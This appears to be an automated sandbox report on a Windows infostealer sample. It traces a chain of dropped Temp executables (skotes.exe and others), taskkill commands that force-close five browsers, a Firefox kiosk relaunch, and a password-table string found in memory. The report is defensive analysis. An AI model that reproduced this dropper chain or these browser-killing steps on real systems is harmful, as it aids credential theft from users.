Source: skotes.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: skotes.exe.10.dr	Static PE information: Section: juonirvb ZLIB complexity 0.9947261493275914
Source: random[1].exe.18.dr	Static PE information: Section: ZLIB complexity 0.9980346297021944
Source: df757a3a2c.exe.18.dr	Static PE information: Section: ZLIB complexity 0.9980346297021944
Source: random[1].exe0.18.dr	Static PE information: Section: seldsqgz ZLIB complexity 0.9948511172038198
Source: ea19c894e7.exe.18.dr	Static PE information: Section: seldsqgz ZLIB complexity 0.9948511172038198
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: Section: juonirvb ZLIB complexity 0.9947261493275914
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: Section: seldsqgz ZLIB complexity 0.9948511172038198

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@64/27@94/12

Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe

Code function: 19_2_04BA15D0 ChangeServiceConfigA,

19_2_04BA15D0

Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\OR1MDVZV.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2912:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000006.00000003.1338553378.0000000005777000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338742221.000000000575A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1352425691.0000000005776000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2141591103.0000000005B94000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142592300.0000000005B65000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2158749048.0000000005B86000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2355899389.00000000051C3000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2319754698.00000000051D4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 31%
Source: file.exe	Virustotal: Detection: 43%

Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: K2GPLQXM988TEBRN5R.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe "C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe"
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe "C:\Users\user~1\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe "C:\Users\user~1\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe "C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe "C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe "C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe "C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe"
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2224 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eba2c7ab-39bc-45d6-96c8-420a20058b60} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f83036d510 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001636001\num.exe "C:\Users\user~1\AppData\Local\Temp\1001636001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe "C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3888 -parentBuildID 20230927232528 -prefsHandle 4616 -prefMapHandle 4612 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3cf177a-5ca3-49d8-bd46-401f0d45638e} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f840db7d10 rdd
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process created: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe "C:\Users\user~1\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe "C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe"
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe "C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe "C:\Users\user~1\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe "C:\Users\user~1\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe "C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe "C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe "C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001636001\num.exe "C:\Users\user~1\AppData\Local\Temp\1001636001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process created: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe "C:\Users\user~1\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe"
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2224 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eba2c7ab-39bc-45d6-96c8-420a20058b60} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f83036d510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3888 -parentBuildID 20230927232528 -prefsHandle 4616 -prefMapHandle 4612 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3cf177a-5ca3-49d8-bd46-401f0d45638e} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f840db7d10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
